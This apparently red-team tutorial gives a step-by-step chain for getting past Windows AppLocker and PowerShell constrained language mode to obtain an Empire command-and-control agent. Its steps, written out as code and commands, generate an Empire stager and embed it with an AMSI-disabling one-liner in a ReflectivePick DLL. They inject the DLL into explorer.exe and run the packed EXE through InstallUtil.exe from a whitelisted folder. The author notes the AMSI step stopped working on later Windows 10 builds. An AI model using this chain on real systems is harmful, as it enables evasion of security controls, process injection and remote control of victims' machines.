Bypassing Applocker and Powershell contstrained language mode

Last updated 5 months ago

Using Reflective Injection and Certutil

This technique involves packing everything together several times to bypass all the security mechanisms. I based this on the awesome article from Improsec called "Babushka dolls" and elements from it's Github project.

Edit: Sadly after Windows 10 1803 and onwards this trick doesn't work for bypassing AMSI any longer. AMSI now uses a scanbuffer instead of scanstring which was previously used.

Generating listener and stager in Empire

Set up a listener and generate a stager. I've put all the commands below for easy copypaste.

set Host
set Port 80
usestager multi/launcher
set Listener http

ReflectivePick with Visual Studio

We are now going to write the stager we generated into the ReflectivePick project.

Open the PowerPick project in VS. It may be necessary to set the target to x64. Project -> ReflectivePick properties -> Configuration Manager -> Platform

Add the base64 from the stager where appropriate.

wchar_t* argument = L"[Ref].Assembly.GetType('System.Management.Automation.sAmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);$encoded = \"BASE64STRING\";$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded));$decoded | Out-File -FilePath C:\Windows\Tasks\out.txt;IEX $decoded"; //Output debug

This includes an output write for demonstration purposes. You can remove it if you desire.

Compile the dll to ReflectivePick_x64.dll


We can now try to run the dll with rundll32.exe .\ReflectivePick_x64.dll,Void but as you will soon discover, AMSI picks up the Empire stager during runtime.

Disable AMSI however, and you get an agent back.

You can also view the base64-decoded stager payload in c:\windows\tasks\out.txt

We can't rely on manually disabling AMSI, so we are going to run it through a few more hoops.

Load the DLL into another process

To avoid creating a new process and loading the non-whitelisted DLL we are going to reflectively inject it into a process using Invoke-ReflectiveInjection.

Use the following commands in PS to encode the DLL to base64 and pipe the results to a file. Don't worry if the commands take a few seconds to run. I have also noticed that Powershell adds a newline at the bottom of the file when Base64-encoding like this so manually remove that if it is present.

$Content = Get-Content .\ReflectivePick_x64.dll -Encoding Byte
$Encoded = [System.Convert]::ToBase64String($Content)
$Encoded | Out-File "C:\users\chris\Desktop\PowerTools-master\PowerPick\bin\x64\Debug\dll.txt"

Now you want to download Invoke-ReflectivePEInjection to the working directory and open it in a text editor. At the bottom of the file, add the following lines, where we copypaste the contents of dll.txt to the $dllData object. This will ensure the dll is reflectively injected into the explorer.exe process during runtime.

$dllData = "DLLBASE64_GOES_HERE"
$ProcId = (Get-Process explorer).Id
$Bytes = [System.Convert]::FromBase64String($dllData)
Invoke-ReflectivePEInjection -PEBytes $Bytes -ProcId $ProcId

Compile to an EXE using VS

In powershell, base64 encode the entire script. Remove the newline at the bottom of the output file if present.

$Content = Get-Content .\Invoke-ReflectivePEInjection.ps1 -Encoding Byte
$Encoded = [System.Convert]::ToBase64String($Content)
$Encoded | Out-File "C:\users\chris\Desktop\PowerTools-master\PowerPick\bin\x64\Debug\pe.txt"

Open the Bypass project in VS and copypaste the base64 into the encoded variable. Compile to Bypass.exe with VS.

Final execution

Use installutil.exe or similar LOLbBns to execute Bypass.exe. If Applocker is present, execute it from a whitelisted directory such as C:\Windows\Tasks

C:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe

Thrilling! We bypassed both Applocker and Powershell constrained language mode and got an Empire agent back.